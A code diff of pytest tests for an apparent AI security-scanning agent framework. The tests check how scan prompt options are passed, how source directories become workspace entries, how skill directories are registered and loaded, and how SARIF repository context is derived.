await runner.run_strix_scan(
scan_config={"targets": [], "scan_mode": "deep"},
scan_id="scan-conflict",
image="img",
coordinator=AgentCoordinator(),
extra_system_prompt_context={"authorized_targets": []},
)
assert "kwargs" not in captured
@pytest.mark.asyncio
async def test_root_prompt_options_default_to_none(
monkeypatch: pytest.MonkeyPatch,
tmp_path: Any,
) -> None:
"""Without the new args, behavior is unchanged: no override, scope context as-is."""
scope_context = {"scope": "built-in"}
captured = _patch_engine_scaffold(monkeypatch, tmp_path, scope_context)
await runner.run_strix_scan(
scan_config={"targets": [], "scan_mode": "deep"},
scan_id="scan-default",
image="img",
coordinator=AgentCoordinator(),
)
kwargs = captured["kwargs"]
assert kwargs["instructions_override"] is None
assert kwargs["system_prompt_context"] == {"scope": "built-in"}
+4 -24
View File
@@ -18,18 +18,15 @@ def _source(subdir: str, path: str, *, mount: bool = False) -> dict[str, Any]:
def test_copied_source_becomes_localdir_entry(tmp_path: Path) -> None:
entries, bind_mounts, staged_dirs = build_session_entries([_source("repo", str(tmp_path))])
entries, bind_mounts = build_session_entries([_source("repo", str(tmp_path))])
assert bind_mounts == []
assert staged_dirs == []
assert isinstance(entries["repo"], LocalDir)
assert entries["repo"].src == tmp_path.resolve()
def test_mounted_source_becomes_bind_mount(tmp_path: Path) -> None:
entries, bind_mounts, _staged = build_session_entries(
[_source("repo", str(tmp_path), mount=True)]
)
entries, bind_mounts = build_session_entries([_source("repo", str(tmp_path), mount=True)])
assert entries == {}
assert bind_mounts == [
@@ -47,7 +44,7 @@ def test_mixed_sources_split_correctly(tmp_path: Path) -> None:
copied.mkdir()
mounted.mkdir()
entries, bind_mounts, _staged = build_session_entries(
entries, bind_mounts = build_session_entries(
[
_source("copied", str(copied)),
_source("mounted", str(mounted), mount=True),
@@ -60,7 +57,7 @@ def test_mixed_sources_split_correctly(tmp_path: Path) -> None:
def test_incomplete_sources_are_skipped() -> None:
entries, bind_mounts, staged_dirs = build_session_entries(
entries, bind_mounts = build_session_entries(
[
{"source_path": "", "workspace_subdir": "x"},
{"source_path": "/p", "workspace_subdir": ""},
@@ -68,20 +65,3 @@ def test_incomplete_sources_are_skipped() -> None:
)
assert entries == {}
assert bind_mounts == []
assert staged_dirs == []
def test_symlink_tree_is_staged(tmp_path: Path) -> None:
repo = tmp_path / "repo"
repo.mkdir()
(repo / "real.txt").write_text("content")
(repo / "link.txt").symlink_to(repo / "real.txt")
entries, _mounts, staged_dirs = build_session_entries([_source("repo", str(repo))])
assert len(staged_dirs) == 1
entry = entries["repo"]
assert isinstance(entry, LocalDir)
assert entry.src == staged_dirs[0]
assert not (staged_dirs[0] / "link.txt").is_symlink()
assert (staged_dirs[0] / "link.txt").read_text() == "content"
-120
View File
@@ -1,120 +0,0 @@
from pathlib import Path
import pytest
import strix.skills as skills_mod
from strix.skills import (
get_all_skill_names,
get_available_skills,
load_skills,
register_skill_dir,
registered_skill_dirs,
skill_search_dirs,
validate_requested_skills,
)
@pytest.fixture(autouse=True)
def _clear_extra_dirs() -> None:
original = list(skills_mod._EXTRA_SKILL_DIRS)
skills_mod._EXTRA_SKILL_DIRS.clear()
try:
yield
finally:
skills_mod._EXTRA_SKILL_DIRS[:] = original
def _write_skill(root: Path, category: str, name: str, body: str) -> None:
category_dir = root / category
category_dir.mkdir(parents=True, exist_ok=True)
(category_dir / f"{name}.md").write_text(body, encoding="utf-8")
def _write_root_skill(root: Path, name: str, body: str) -> None:
root.mkdir(parents=True, exist_ok=True)
(root / f"{name}.md").write_text(body, encoding="utf-8")
def test_no_registration_leaves_builtin_only() -> None:
assert registered_skill_dirs() == ()
builtin = skills_mod.get_strix_resource_path("skills")
assert skill_search_dirs() == (builtin,)
assert {"nmap", "subfinder"}.issubset(get_available_skills()["tooling"])
def test_register_is_idempotent_and_ordered(tmp_path: Path) -> None:
a = tmp_path / "a"
b = tmp_path / "b"
a.mkdir()
b.mkdir()
register_skill_dir(a)
register_skill_dir(b)
register_skill_dir(a)
# Most recently registered wins → highest precedence first.
assert registered_skill_dirs() == (b, a)
def test_registered_dir_adds_new_skill(tmp_path: Path) -> None:
_write_skill(tmp_path, "extra", "widget", "widget body")
register_skill_dir(tmp_path)
assert "widget" in get_all_skill_names()
assert get_available_skills()["extra"] == ["widget"]
assert load_skills(["widget"]) == {"widget": "widget body"}
def test_registered_root_skill_is_discoverable_and_valid(tmp_path: Path) -> None:
_write_root_skill(tmp_path, "widget", "widget body")
register_skill_dir(tmp_path)
assert "widget" in get_all_skill_names()
assert get_available_skills()["root"] == ["widget"]
assert validate_requested_skills(["widget"]) is None
assert validate_requested_skills(["root/widget"]) is None
assert load_skills(["widget"]) == {"widget": "widget body"}
assert load_skills(["root/widget"]) == {"widget": "widget body"}
def test_ambiguous_bare_skill_requires_qualified_name(tmp_path: Path) -> None:
_write_skill(tmp_path, "alpha", "widget", "alpha body")
_write_skill(tmp_path, "beta", "widget", "beta body")
register_skill_dir(tmp_path)
assert "widget" in get_all_skill_names()
assert get_available_skills()["alpha"] == ["widget"]
assert get_available_skills()["beta"] == ["widget"]
assert validate_requested_skills(["alpha/widget"]) is None
assert validate_requested_skills(["beta/widget"]) is None
error = validate_requested_skills(["widget"])
assert error is not None
assert "Ambiguous skill name" in error
assert "alpha/widget" in error
assert "beta/widget" in error
assert load_skills(["widget"]) == {}
assert load_skills(["alpha/widget"]) == {"widget": "alpha body"}
assert load_skills(["beta/widget"]) == {"widget": "beta body"}
def test_registered_dir_overrides_builtin_skill(tmp_path: Path) -> None:
_write_skill(tmp_path, "coordination", "root_agent", "overridden root agent")
register_skill_dir(tmp_path)
loaded = load_skills(["coordination/root_agent"])
assert loaded["root_agent"] == "overridden root agent"
def test_builtin_skill_still_loads_when_not_overridden(tmp_path: Path) -> None:
_write_skill(tmp_path, "extra", "widget", "widget body")
register_skill_dir(tmp_path)
# A packaged skill the registered dir does not shadow still resolves.
assert load_skills(["scan_modes/deep"]).get("deep")
def test_missing_skill_is_skipped(tmp_path: Path) -> None:
register_skill_dir(tmp_path)
assert load_skills(["does_not_exist"]) == {}
-9
View File
@@ -41,15 +41,6 @@ def test_repository_context_uri_only_without_clone() -> None:
}
def test_repository_context_none_for_multiple_repository_targets() -> None:
state = ReportState(run_name="t")
state.run_record["targets_info"] = [
{"type": "repository", "details": {"target_repo": "https://github.com/acme/widget"}},
{"type": "repository", "details": {"target_repo": "https://github.com/acme/api"}},
]
assert state._sarif_repository_context() is None
def test_repository_context_derives_commit_and_branch_from_clone(tmp_path: Path) -> None:
repo = tmp_path / "widget"
repo.mkdir()
Generated
+1454 -1578
View File
File diff suppressed because it is too large Load Diff